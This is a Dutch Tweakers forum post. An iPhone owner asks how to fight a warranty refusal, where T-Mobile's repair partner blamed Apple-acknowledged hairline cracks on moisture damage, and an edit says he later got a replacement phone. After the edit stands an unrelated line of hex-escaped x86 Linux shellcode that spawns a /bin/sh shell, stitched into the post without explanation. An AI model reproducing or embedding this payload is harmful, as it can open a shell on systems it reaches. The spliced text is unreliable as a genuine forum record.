Cookies op Tweakers

Tweakers maakt gebruik van cookies, onder andere om de website te analyseren, het gebruiksgemak te vergroten en advertenties te tonen. Door gebruik te maken van deze website, of door op 'Ga verder' te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer informatie over cookies en hoe ze worden gebruikt, bekijk dan ons cookiebeleid.

Meer informatie
Toon posts:

iPhone haarscheurtjes door vochtschade?

Pagina: 1
Acties:

Onderwerpen


Acties:
  • 0Henk 'm!

  • Kamose
  • Registratie: februari 2009
  • Laatst online: 31-05-2016
Twee weken geleden heb ik mijn iPhone voor garantie ingeleverd bij een T-Mobile shop. Dit omdat ik last had van de erkende haarscheurtjes. Tot mijn verbazing kreeg ik echter vrijdag een brief in de bus dat mijn garantie vraag was afgekeurd omdat de telefoon vochtschade zou hebben. Ze bieden me hierop twee opties: voor 40 euro de telefoon terug sturen of voor 260 euro het toestel vervangen. Dat er na een jaar intensief gebruik ergens een keer een druppel vocht het toestel is ingelopen trek ik niet in twijfel (de telefoon werkte ondanks de vochtschade overigens perfect). Maar wel dat vochtschade de haarscheurtjes heeft veroorzaakt, zeker als dit een door Apple erkend probleem is. Ik ben het hier dus ook niet mee eens en wil dit dus ook aanvechten.

Het toestel is ondertussen bijna een jaar oud, ik val dus buiten de eerste zes maanden na aankoop waarin de verkopende partij moet bewijzen dat de vochtschade de haarscheurtjes heeft veroorzaakt. Dit betekend dat ik dus zelf zou moeten bewijzen dat vocht inderdaad niet de haarscheurtjes heeft veroorzaakt. Ik ben dus allereerst op zoek naar tips hiervoor. Welke bewijzen kan ik hiervoor aandragen? Verder heb ik afgelopen vrijdag direct de T-Mobile klanten service gebeld om het reparatie rapport op te vragen. Deze verwezen mij echter door naar Solidvision (het bedrijf wat de garantie afhandeling doet voor T-Mobile). Solidvision was toen echter al gesloten. Ik ga vandaag dus nog een keer bellen. Maar ik vraag me alleen nog af naar wie. In principe is T-Mobile de verkopende partij en heb ik garantie bij hun. Met Solidvision heb ik niks te maken. Als ik echter alles via T-Mobile wil spelen dan bouw ik wel een extra communicatie schakel in het geheel, waardoor dit wel eens erg lang kan duren (als ik de T-Mobile klanten service vraag om het reparatie rapport betwijfel ik überhaupt of die aanvraag bij Solidvision terecht komt). Wat ook mee speelt is dat T-Mobile een gratis nummer heeft en Solidvision niet (maar is me dit de extra schakel waard?)

Het aanvechten hiervan is voor mij meer een principe kwestie. Naar mijn idee wordt mij hier onrecht aangedaan en proberen ze onder hun verplichtingen uit te komen ten koste van de consument. Ik ga nu opzoek naar bewijs omtrent vocht en haarscheurtjes.

Goed alles samenvattend vraag ik om tips omtrent het leveren van bewijslast dat vocht geen haarscheurtjes veroorzaakt. Verder zoek ik mensen die in dezelfde situatie zitten/zaten en hoe hun dit hebben opgelost. Verder zou ik graag tips hebben over of ik alle verdere communicatie via T-Mobile moet plegen, of dat ik toch maar rechtstreeks contact op moet nemen met Solidvision. En verder wil ik natuurlijk weten of ik inderdaad in mijn recht sta, naar mijn idee namelijk wel maar mocht dit niet zo zijn dan is het hele aanvechten natuurlijk zonde van me tijd en zal ik me bij de 40 euro onderzoekskosten neerleggen.

Edit:
Ondertussen heb ik een nieuw toestel ontvangen. De correspondentie kun je vinden op pagina 2 van dit topic.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Pagina: 1


Apple iPhone 11 Nintendo Switch Lite LG OLED C9 Google Pixel 4 FIFA 20 Samsung Galaxy S10 Sony PlayStation 5 Games

'14 '15 '16 '17 2018

Tweakers vormt samen met Hardware Info, AutoTrack, Gaspedaal.nl, Nationale Vacaturebank, Intermediair en Independer DPG Online Services B.V.
Alle rechten voorbehouden © 1998 - 2019 Hosting door True